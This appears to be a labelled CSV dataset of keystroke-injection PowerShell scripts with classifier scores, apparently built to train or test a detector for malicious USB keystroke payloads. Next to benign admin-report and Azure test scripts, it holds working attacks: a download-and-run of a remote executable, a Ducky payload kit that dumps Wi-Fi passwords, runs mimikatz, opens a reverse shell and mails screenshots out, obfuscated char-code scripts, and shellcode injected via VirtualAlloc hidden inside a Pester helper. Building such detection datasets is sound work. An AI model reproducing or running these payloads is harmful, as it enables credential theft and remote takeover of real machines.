0xfb,0x23,0xf7,0x3f, enter enter",1,1,5.4291184e-05,0.99994576
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_hmvz8xeh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4598834e-05
win space terminal enter gtop enter,0,1,0.030394562,0.9696054
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_fkb20s8t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""chrome"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.409143e-05
unknown_key_action ATTACKMODE HID STORAGE enter delay_long enter iddqd enter delay_medium enter unknown_key_action WHILE TRUE enter idkfa enter delay_medium enter unknown_key_action HOLD LEFTARROW enter unknown_key_action HOLD UPARROW enter unknown_key_action INJECT_MOD enter unknown_key_action HOLD CONTROL enter delay_long enter unknown_key_action INJECT_MOD enter unknown_key_action RELEASE CONTROL enter unknown_key_action RELEASE UPARROW enter unknown_key_action RELEASE LEFTARROW enter delay_medium enter unknown_key_action END_WHILE,1,1,5.7153306e-05,0.9999429
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install make enter A enter enter enter,0,0,0.99995995,4.0065526e-05
"win+r powershell enter  param( $ServerList = ""E:\Dexma\Servers.txt"" , $ReportFileName = ""E:\Dexma\F enter reeSpace.htm"" , $EmailTo = ""mmessano@primealliancesolutions.com"" , $EmailFrom enter = ""mmessano@primealliancesolutions.com"" , $EmailSubject = ""Disk Space Report fo enter r $Domain"" , $SMTPServer = ""10.0.5.199"" ) clear enter enter",1,1,0.0012801643,0.9987198
"win+r powershell enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string] $Manifest, enter [string] $Name = 'EventResource', enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [string] $Namespace = 'System.Management.Automation.Tracing', enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string] $ResxPath, enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string] $CodePath enter ) enter Import-Module $PSScriptRoot\ResxGen.psm1 -Force enter try enter { enter ConvertTo-Resx -Manifest $Manifest -Name $Name -ResxPath $ResxPath -CodePath $CodePath -Namespace $Namespace enter } enter finally enter { enter Remove-Module ResxGen -Force -ErrorAction Ignore enter } enter",0,0,0.9999325,6.742589e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_y5663d0j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter",0,0,0.99996614,3.381917e-05
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://labid.com.my/m/m1.exe',""$ enter env:TEMP\m1.exe"");Start-Process (""$env:TEMP\m1.exe"") enter enter",1,1,5.7723773e-05,0.9999423
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_82nd92w9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3651177e-05
"win+r powershell enter unknown_key_action REM Title: Water-UnMark enter delay_long enter win+r enter delay_short enter powershell Start-Process powershell -verb runAs enter enter enter delay_medium enter unknown_key_action ALT Y enter delay_medium enter Set-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Services\svsvc"" -Name Start -Value 4 -Force enter enter enter delay_short enter Restart-Computer -Force enter enter enter",1,1,5.7031673e-05,0.999943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_vwuvdfwv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_50.json"") -Encoding UTF8 enter",0,0,0.99996555,3.448736e-05
"win+r powershell enter capslock win rpowershell enter $l = ('Choose payload -> Press one -> Press two -> Repeat','P0 [-][-][-] : This window.','P1 [-][-][N] : Network info.','P2 [-][S][-] : Proof of Pwnage.','P3 [-][S][N] : User credentials.','P4 [C][-][-] : Reverse shell.','P5 [C][-][N] : Ducky_crab.','P6 [C][S][-] : Connect2pinapple.','P7 [C][S][N] : Storage.') enter $l = $l -join ""`n- "" enter powershell -WindowStyle hidden -Command ""& {[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('- $l','~~~ duckin8or cheatsheet ~~~')}"" enter win rpowershell -NoP -NonI -w h enter powershell.exe -enc JABVACAAPQAgAHcAaABvAGEAbQBpADsAJABtAD0AIgAkAFUAIABpAHMAIABjAG8AbgBzAGkAZABlAHIAZQBkACAAYwBvAG0AcAByAG8AbQBpAHMAZQBkACEAIABUAGgAaQBzACAAaQBuAGMAaQBkAGUAbgB0ACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBwAG8AcgB0AGUAZAAuACIAOwAkAEwAIAA9ACAARwBlAHQALQBEAGEAdABlAA0ACgBbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgB0ACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBwAG8AcgB0AGUAZAAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAIgBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAkAG0ALAAiACQATAAgAC0AIABQAHIAbwBvAGYAIABvAGYAIABDAG8AbQBwAHIAbwBtAGkAcwBlACIALAAwACwAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AEkAYwBvAG4AXQA6ADoARQB4AGMAbABhAG0AYQB0AGkAbwBuACkA;exit enter win rpowershell enter $pubIP=(Invoke-WebRequest icanhazip.com -UseBasicParsing).Content enter $networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter ""DHCPEnabled=$True"" | ? {$_.IPEnabled} enter $WiFi = Out-String -InputObject ((netsh wlan show profiles) | Select-String "":(.+)$"" | % {$name=$_.Matches.Groups[1].Value.Trim(); $_} | % {(netsh wlan show profile name=""$name"" key=clear)} | Select-String ""Key Content\\W+\\:(.+)$"" | % {$pass=$_.Matches.Groups[1].Value.Trim(); $_} | % {[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize) -Width 100 enter $RD=((gwmi win32_volume -f 'label=''DUCKY''').Name + 'network.txt') enter ($WiFi + $pubIP + $networks.ipaddress[0]) | Set-Content -Path $RD enter exit enter win rpowershellctrlshift enter enter $RD = (gwmi win32_volume -f 'label=''DUCKY''').Name enter Import-Module Defender enter Set-MpPreference -ExclusionPath $RD enter cd $RD enter .\\mk.exe > $env:UserName`.txt -and type $env:UserName`.txt enter privilege::debug enter sekurlsa::logonPasswords full enter exit enter Remove-MpPreference -ExclusionPath $RD enter exit enter win rpowershell -NoP -NonI -w h enter $c=nEw-oBjECt SYstEm.NEt.SOcKEts.TCPClIEnt(""LHOST"",LPORT);$s=$c.GetSTreAm();[byte[]]$b=0..65535|%{0};whILe(($i=$s.REad($b,0,$b.LeNgTh))-ne 0){;$d=(NEw-OBjecT -TYpeNamE sYsTeM.TeXt.ASCIIEncoding).GetStRIng($b,0,$i);$z=(ieX $d 2>&1|oUt-STriNG);$x=$z+""Ducky@PS ""+(pwd)+""> "";$y=([text.encoding]::ASCII).GEtByTEs($x);$s.WrIte($y,0,$y.LEnGTh);$s.FlUSh()};$c.CloSE();exit enter win rpowershell enter $f=""Home.xml"";$SSID=""PINEAPPLE_SSID"";$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'';$xmlfile=""<?xml version=""""1.0""""?><WLANProfile xmlns=""""http://www.microsoft.com/networking/WLAN/profile/v1""""><name>$SSID</name><SSIDConfig><SSID><hex>$SSIDHEX</hex><name>$SSID</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></MSM></WLANProfile>"";$XMLFILE > ($f);netsh wlan add profile filename=""$($f)"";netsh wlan connect name=$SSID;exit enter win rpowershell enter Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser enter New-Item -Path 'Pictures' -Name 'screens.ps1' -ItemType file enter ""cd C:\\Users\\$env:username\\ `nNew-Item -Path 'C:\\Users\\$env:username\\Pictures\\Screens\\' -ItemType Directory"" | Out-File Pictures\\screens.ps1 -Append enter ""`$t = new-timespan -MinutesCRAB_DURATION_MIN"" | Out-File Pictures\\screens.ps1 -Append enter ""`$clk = [diagnostics.stopwatch]::StartNew() `nwhile (`$clk.elapsed -lt `$t){ `n[void][reflection.assembly]::loadwithpartialname('system.windows.forms') `n`$S = [System.Windows.Forms.SystemInformation]::VirtualScreen `n`$Width = `$S.Width `n`$Height = `$S.Height `n`$Left = `$S.Left `n`$Top = `$S.top `n`$bmp = New-Object System.Drawing.Bitmap `$Width, `$Height `n`$g = [System.Drawing.Graphics]::FromImage(`$bmp) `n`$g.CopyFromScreen(`$Left, `$Top, 0, 0, `$bmp.Size) `n`$enddate = (Get-Date).tostring('ddMMyy-hh_mm_ss') `n`$fn = `$enddate + '.gif' `n`$bmp.Save('C:\\Users\\$env:Username\\Pictures\\Screens\\' + `$fn) `nstart-sleep -seconds 10"" | Out-File Pictures\\screens.ps1 -Append enter ""Send-MailMessage -FromOUTLOOK_USER-ToOUTLOOK_USER-Subject `""Screenshot loot`"" -Body `""Please find attached your screenshot update`"" -Attachment `""Pictures\\Screens\\`$fn`"" -SmtpServer smtp-mail.outlook.com -Port 587 -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentListOUTLOOK_USER, (ConvertTo-SecureString -String `""OUTLOOK_PASS`"" -AsPlainText -Force))"" | Out-File Pictures\\screens.ps1 -Append enter ""start-sleep -secondsCRAB_DELAY_SEC`n} `nSet-ExecutionPolicy -ExecutionPolicy Undefined -Scope CurrentUser `nGet-ChildItem Pictures\\Screens -Include *.* -Recurse | ForEach {`$_.Delete()} `nRemove-Item Pictures\\screens -Confirm:`$false `nRemove-Item Pictures\\screens.ps1 -Force `nexit"""" | Out-File Pictures\\screens.ps1 -Append enter exit enter win rpowershell -w h -File """"%USERPROFILE%\\Pictures\\screens.ps1"""" enter win rpowershell -WindowStyle Hidden -Exec Bypass """"Remove-ItemProperty -Path """" """" -Name """" """" -ErrorAction SilentlyContinue""""; Remove-Item (Get-PSreadlineOption).HistorySavePath enter capslockcapslock enter",1,1,0.0012068587,0.9987931
"win+r enter powershell enter enter enter function Test-AzureRmDevSpacesController enter { enter enter $resourceGroupName = ""rgps4504"" enter $kubeClusterName = ""kubeps5496"" enter $devSpacesName = Get-DevSpacesControllerName enter $tagKey = Get-DevSpacesControllerTagKey enter $tagValue = Get-DevSpacesControllerTagValue enter enter $referenceObject = @{} enter $referenceObject.Name = $devSpacesName enter $referenceObject.ResourceGroupName = $resourceGroupName enter $referenceObject.ProvisioningState = ""Succeeded"" enter $referenceObject.Location = ""eastus"" enter $devSpaceController = New-AzDevSpacesController -ResourceGroupName $resourceGroupName -Name $devSpacesName -TargetClusterName $kubeClusterName -TargetResourceGroupName $resourceGroupName enter Assert-AreEqualPSController $referenceObject $devSpaceController enter $devSpaceController = Get-AzDevSpacesController -ResourceGroupName $resourceGroupName -Name $devSpacesName enter Assert-AreEqualPSController $referenceObject $devSpaceController enter $devSpaceControllerUpdated = $devSpaceController | Update-AzDevSpacesController -Tag @{ $tagKey=$tagValue} enter Assert-AreEqualPSController $referenceObject $devSpaceControllerUpdated enter $tag = Get-AzTag -Name $tagKey enter $tagValueExist = $tag.Values.Name -Contains $tagValue enter Assert-AreEqual ""True"" $tagValueExist enter $deletedAzureRmDevSpace = $devSpaceController | Remove-AzDevSpacesController -PassThru enter Assert-AreEqual ""True"" $deletedAzureRmDevSpace enter $azureRmDevSpaces = Get-AzDevSpacesController -ResourceGroupName $resourceGroupName enter Assert-Null $azureRmDevSpaces enter } enter function Test-TestAzureDevSpacesAsJobParameter enter { enter enter $resourceGroupName = ""rgps4505"" enter $kubeClusterName = ""kubeps5497"" enter $devSpacesName = Get-DevSpacesControllerName enter $tagKey = Get-DevSpacesControllerTagKey enter $tagValue = Get-DevSpacesControllerTagValue enter enter $referenceObject = @{} enter $referenceObject.Name = $devSpacesName enter $referenceObject.ResourceGroupName = $resourceGroupName enter $referenceObject.ProvisioningState = ""Succeeded"" enter $referenceObject.Location = ""eastus"" enter enter $job = New-AzDevSpacesController -ResourceGroupName $resourceGroupName -Name $devSpacesName -TargetClusterName $kubeClusterName -TargetResourceGroupName $resourceGroupName -AsJob enter $job | Wait-Job enter $devSpaceController = $job | Receive-Job enter Assert-AreEqualPSController $referenceObject $devSpaceController enter enter $deletedJob = $devSpaceController | Remove-AzDevSpacesController -PassThru -AsJob enter $deletedJob | Wait-Job enter $deletedAzureRmDevSpace = $deletedJob | Receive-Job enter Assert-AreEqual ""True"" $deletedAzureRmDevSpace enter $azureRmDevSpaces = Get-AzDevSpacesController -ResourceGroupName $resourceGroupName enter Assert-Null $azureRmDevSpaces enter } enter enter",0,0,0.9999479,5.2044943e-05
"win+r powershell enter Function Out-EncodedWhitespaceCommand { [CmdletBinding(DefaultParameterSetName enter = 'FilePath')] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, Par enter ameterSetName = 'ScriptBlock')] [ValidateNotNullOrEmpty()] [ScriptBlock] $Scr enter iptBlock, [Parameter(Position = 0, ParameterSetName = 'FilePath')] [ValidateN enter otNullOrEmpty()] [String] enter enter",1,1,0.00053314626,0.99946684
"win+r enter powershell enter enter enter function Get-ResourceGroupName enter { enter return getAssetName enter } enter function Get-WorkspaceCollectionName enter { enter return getAssetName enter } enter function Clean-ResourceGroup($rgname) enter { enter if ([Microsoft.Azure.Test.HttpRecorder.HttpMockServer]::Mode -ne [Microsoft.Azure.Test.HttpRecorder.HttpRecorderMode]::Playback) { enter Remove-AzResourceGroup -Name $rgname enter } enter } enter function Create-ResourceGroup enter { enter $resourceGroupName = Get-ResourceGroupName enter return New-AzResourceGroup -Name $resourceGroupName -Location WestUS enter } enter function Retry-IfException enter { enter param([ScriptBlock] $script, [int] $times = 30, [string] $message = ""*"") enter enter if ($times -le 0) enter { enter throw 'Retry time(s) should not be equal to or less than 0.'; enter } enter enter $oldErrorActionPreferenceValue = $ErrorActionPreference; enter $ErrorActionPreference = ""SilentlyContinue""; enter enter $iter = 0; enter $succeeded = $false; enter while (($iter -lt $times) -and (-not $succeeded)) enter { enter $iter += 1; enter enter try enter { enter &$script; enter } enter catch enter { enter enter } enter enter if ($Error.Count -gt 0) enter { enter $actualMessage = $Error[0].Exception.Message; enter enter Write-Output (""Caught exception: '$actualMessage'""); enter enter if (-not ($actualMessage -like $message)) enter { enter $ErrorActionPreference = $oldErrorActionPreferenceValue; enter throw ""Expected exception not received: '$message' the actual message is '$actualMessage'""; enter } enter enter $Error.Clear(); enter Wait-Seconds 10; enter continue; enter } enter enter $succeeded = $true; enter } enter enter $ErrorActionPreference = $oldErrorActionPreferenceValue; enter } enter enter",0,0,0.99572706,0.0042729364
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_wd851xr5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_75.txt"") -Encoding UTF8 enter",0,0,0.999966,3.3989567e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_sbmgu0nz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4050558e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_altmlhze"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4930094e-05
"-JOIn (( 32 ,32 , 36 ,86 ,115 , 110 , 50,108 , 54, 32 ,61 , 32,32 , 91,116,121,1 enter 12,101, 93 ,40 ,34,123 ,51 , 125 , 123, 48 ,125, 123, 49, 125,123 , 50,125,34, 3 enter 2 ,45, 70,39 , 85 ,69 ,39,44,39,83 , 39,44, 39 , 116,39, 44 ,39 ,78, 101 ,116 ,4 enter 6,119, 101,98,114 ,101 , 113 , 39,41,32,59, 32,32,36 ,104 ,54, 57 , 81,52 ,32 , enter 32 ,61 , 91 ,84 , 89,80 , 101,93 ,40 ,34, 123,49 , 125,123, 50, 125 , 123,51,125 enter , 123, 52 ,125, 123,48 ,125 ,34,45, 70 ,32,39, 104,101 ,39 , 44 ,39, 110 , 69, 1 enter 16,46, 67 , 39,44, 39,82 ,69,68,101 , 78 , 116 , 105,97, 108 , 67 ,39, 44,39,97, enter 39 ,44 ,39 ,99, 39 , 41 , 32 ,59, 32 , 32 ,36, 123 ,74, 125 ,61 ,38,40,34, 123, enter 48 ,125 ,123 ,49 , 125, 123,50 ,125 , 34 , 45 , 102, 32, 39,110 ,101, 119,45 ,1 enter 11, 98 , 106 , 39,44 , 39 , 101 , 99 , 39, 44 ,39 , 116,39,41,32,40 ,34 , 123 ,5 enter 0,125,123 , 49 ,125 , 123, 48, 125 , 123 , 51, 125,34,32 , 45 ,102,32,39 ,101 ,9 enter 8, 39,44, 39 , 46, 1 enter",1,1,9.915623e-05,0.9999008
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_n7ecslaw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3890203e-05
"win+r powershell enter Describe ""File encoding tests"" -Tag CI { Context ""ParameterType for parameter enter 'Encoding' should be 'Encoding'"" { BeforeAll { $testCases = Get-Command -Modul enter e Microsoft.PowerShell.* | Where-Object { $_.Parameters -and $_.Parameters['Enc enter oding'] } | ForEach-Object { @{ Command = $_ } } } It ""Encoding parameter of enter command '<Command>' is type 'Encoding'"" -Testcase $testCases { param ( $comman enter d ) $command.Parameters['Encoding'].ParameterType.FullName | Should -BeExactly enter ""System.Text.Encoding"" enter enter",1,1,0.0058158506,0.9941842
"win+r enter powershell enter enter enter function Set-ItResult { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory = $false, ParameterSetName = ""Inconclusive"")][switch]$Inconclusive, enter [Parameter(Mandatory = $false, ParameterSetName = ""Pending"")][switch]$Pending, enter [Parameter(Mandatory = $false, ParameterSetName = ""Skipped"")][switch]$Skipped, enter [string]$Because enter ) enter enter Assert-DescribeInProgress -CommandName Set-ItResult enter enter $result = $PSCmdlet.ParameterSetName enter $message = ""It result set to $result$(if ($Because) { "", $Because"" })"" enter $data = @{ enter Result = $result enter Because = $Because enter } enter $errorRecord = New-PesterErrorRecord -Result $result -Message $message -Data $data enter throw $errorRecord enter } enter enter function New-PesterErrorRecord { enter [CmdletBinding()] enter param( enter [Parameter(Mandatory = $true)] enter [string]$Result, enter [Parameter(Mandatory = $true)] enter [string]$Message, enter [string]$File, enter [string]$Line, enter [string]$LineText, enter [hashtable]$Data enter ) enter enter $exception = New-Object Exception $Message enter $errorID = ""PesterTest$Result"" enter $errorCategory = [Management.Automation.ErrorCategory]::InvalidResult enter $targetObject = @{ enter Message = $Message enter Data = $Data enter File = $(if ($File -ne $null) { enter $File enter } enter else { enter $MyInvocation.ScriptName enter }) enter Line = $(if ($Line -ne $null) { enter $Line enter } enter else { enter $MyInvocation.ScriptLineNumber enter }) enter LineText = $(if ($LineText -ne $null) { enter $LineText enter } enter else { enter $MyInvocation.Line enter }).TrimEnd($([System.Environment]::NewLine)) enter } enter enter New-Object Management.Automation.ErrorRecord $exception, $errorID, $errorCategory, $targetObject enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x0a,0x00,0x02,0x0f,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1081835e-05,0.99994886
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_8ba3vqob"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.txt"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 3."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5104076e-05
"win+r enter powershell enter enter enter $platform = 'windows' enter enter Add-Type -Path ""$ModulePath/lib/$platform/Microsoft.ServiceBus.dll"" enter $factory = [Microsoft.ServiceBus.Messaging.MessagingFactory]::CreateFromConnectionString($connectionString) enter $receiver = $factory.CreateMessageReceiver($QueueName, [Microsoft.ServiceBus.Messaging.ReceiveMode]::PeekLock) enter $bindingFlags = [Reflection.BindingFlags] 'Public,Instance' enter while (-not $receiver.IsClosed -and $ReceiverControl.ShouldRun) { enter $msg = $receiver.ReceiveAsync($receiveTimeout).GetAwaiter().GetResult() enter if ($msg) { enter $receiver.CompleteAsync($msg.LockToken).GetAwaiter().GetResult() > $null enter $stream = $msg.GetType().GetMethod('GetBody', $bindingFlags, $null, @(), $null).MakeGenericMethod([System.IO.Stream]).Invoke($msg, $null) enter $streamReader = [System.IO.StreamReader]::new($stream) enter $payload = $streamReader.ReadToEnd() enter $streamReader.Dispose() enter 